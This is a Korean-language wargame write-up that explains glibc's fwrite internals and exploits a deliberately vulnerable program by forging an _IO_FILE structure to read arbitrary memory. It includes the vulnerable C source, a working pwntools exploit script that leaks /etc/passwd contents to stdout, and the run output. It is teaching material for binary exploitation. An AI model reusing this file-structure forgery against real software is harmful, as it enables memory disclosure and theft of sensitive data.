// Name: iofile_aar
// gcc -o iofile_aar iofile_aar.c -no-pie
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char account_buf[1024];
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_account() {
FILE *fp;
fp = fopen("/etc/passwd", "r");
fread(account_buf, sizeof(char), sizeof(account_buf), fp);
fclose(fp);
}
int main() {
const char *data = "TEST FILE!";
init();
read_account();
fp = fopen("testfile", "w");
printf("Data: ");
read(0, fp, 300);
fwrite(data, sizeof(char), sizeof(account_buf), fp);
fclose(fp);
}
파일에 데이터를 쓰기 위한 함수는 대표적으로 fwrite, fputs가 있습니다. 해당 함수는 라이브러리 내부에서 _IO_sputn 함수를 호출합니다.
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
코드를 봐보면 해당 함수는 _IO_XSPUTN 함수의 매크로이며 _IO_new_file_xsputn 함수를 실행합니다. 이 함수에서는 파일 함수로 전달된 인자인 데이터와 길이를 검사하고 _IO_OVERFLOW, 즉 _IO_new_file_overflow 함수를 호출합니다.
파일에 내용을 쓰는 과정은 _IO_new_file_overflow를 시작으로 다양한 함수가 호출되면서 이뤄집니다.
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
...
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
}
int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
return (to_do == 0
|| (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
코드를 살펴보면 _IO_new_file_overflow 함수 내부에서는 파일 포인터의 _flags 변수에 쓰기 권한이 부여되어 있는지를 확인하고 해당 함수의 인자로 전달된 ch가 EOF라면 _IO_do_write 함수를 호출합니다.
_IO_do_write 함수는 내부적으로 new_do_write 함수를 호출합니다.
플래그 검사
파일을 쓰기에 앞서 파일 포인터의 _flags 변수에 _IO_IS_APPENDING 플래그가 포함되어 있는지 확인합니다.
_IO_SYSWRITE 호출
new_do_write 함수의 인자인 파일 포인터와 data, 그리고 to_do를 인자로 _IO_SYSWRITE 함수를 호출하는데 이는 곧 vtable의 _IO_new_file_write 함수입니다.
#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN)
_IO_new_file_write 함수 내부에서는 write 시스템 콜을 사용해 파일에 데이터를 작성합니다. 시스템 콜의 인자로 파일 구조체에서 파일 디스크립터를 나타내는 _fileno, _IO_write_base인 data, 그리고 _IO_write_ptr - _IO_write_base로 연산된 to_do 변수가 전달됩니다.
write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
$ checksec iofile_aar
[*] '/home/ion/dreamhack/_IO_FILE_Arbitrary_Address_Read/iofile_aar'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
익스플로잇 목표
fwrite 함수에서 참조하는 파일 구조체를 조작해 read_account 함수에서 읽은 account_buf의 내용을 흭득하는 것
1. 파일 구조체 조작
임의 주소의 값을 읽기 위해서는 먼저 _flags 변수를 조작해야 합니다. 파일 쓰기에 필요한 권한은 _IO_IS_APPENDING으로, _flags 변수를 매직 값인 0xfbad0000과 0x800을 포함한 값으로 변경합니다.
_flags 변수를 조건에 만족하는 값으로 변경했다면 임의 주소의 값을 읽기 위해 _IO_write_ptr과 _IO_write_base를 조작해야 합니다. 이후 파일에 데이터를 작성할 때 아래와 같은 코드가 실행되므로, _IO_write_base를 account_buf의 주소로 조작하고, _IO_write_ptr을 account_buf 주소에 1024를 더한 값으로 조작합니다. 그리고 파일에 데이터를 쓰는 것이 아닌 프로그램에서 출력하게끔 하기 위해 fileno 즉, 파일 디스크립터를 stdout을 나타내는 1로 덮어쓰면 됩니다.
write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
# _flags 변수에 _IO_MAGIC과 _IO_IS_APPENDING 비트를 포함한 값을 입력
payload = p64(0xfbad0000 | 0x800)
# "etc/passwd"의 내용이 저장된 account_buf의 데이터를 1024바이트 만큼 출력
payload += p64(account_buf) # _IO_write_base
payload += p64(account_buf + 1024) # _IO_write_ptr
# 표준 출력을 사용해 해당 내용 출력
payload += p64(1) # stdout
new_do_write 함수 내에서 lseek 시스템 콜이 호출되지 않도록 하기 위함
payload += p64(account_buf) # _IO_read_end
# Name: iofile_aar.py
from pwn import *
p = process("./iofile_aar")
elf = ELF('./iofile_aar')
account_buf = elf.symbols['account_buf']
payload = p64(0xfbad0000 | 0x800)
payload += p64(0) # _IO_read_ptr
payload += p64(account_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(account_buf) # _IO_write_base
payload += p64(account_buf + 1024) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(1) # stdout
p.sendlineafter("Data: ", payload)
p.interactive()
$ python3 exploit.py
[+] Starting local process './iofile_aar': pid 2547
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/tmp/iofile_aar'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
[*] Process './iofile_aar' stopped with exit code 0 (pid 2547)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systeTEST FILE!\x00\x00estfile\x00ata: \x00\x1b\x03L\x00\x00\x00\x00\xfc\xff\xff\xa8\x00\xfd\xff\xffh\x00\xfd\xff\xff\x94\x00\xfe\xff\xff\xd0\x00Z\xfe\xff\xff\xf0\xa5\xfe\xff\xff\x10\x00P\xff\xff\xff0\x00\xc0\xff\xff\xffx\x00\x00\x00\x14\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x07\x10\x00\x1c\x00\xc0\xfc\xff\xff+\x00\x00\x00\x00\x00\x00\x00\x00zR\x00x\x10\x1b\x0\x90\x00\x10\x00\x1c\x00\xc4\xfc\xff\xff\x00\x00\x00\x00\x00\x00\\x06\x9c\x0\x00D\x00\x00\x00\x00\xfe\xff\xffe\x00\x00B\x0e\x8fB\x0e\x8e\x03\x0e\x8d\x04\x0e\x8c\x05\x0e\x86\x06\x0e\x83\x07\x0er\x0eA\x0eA\x0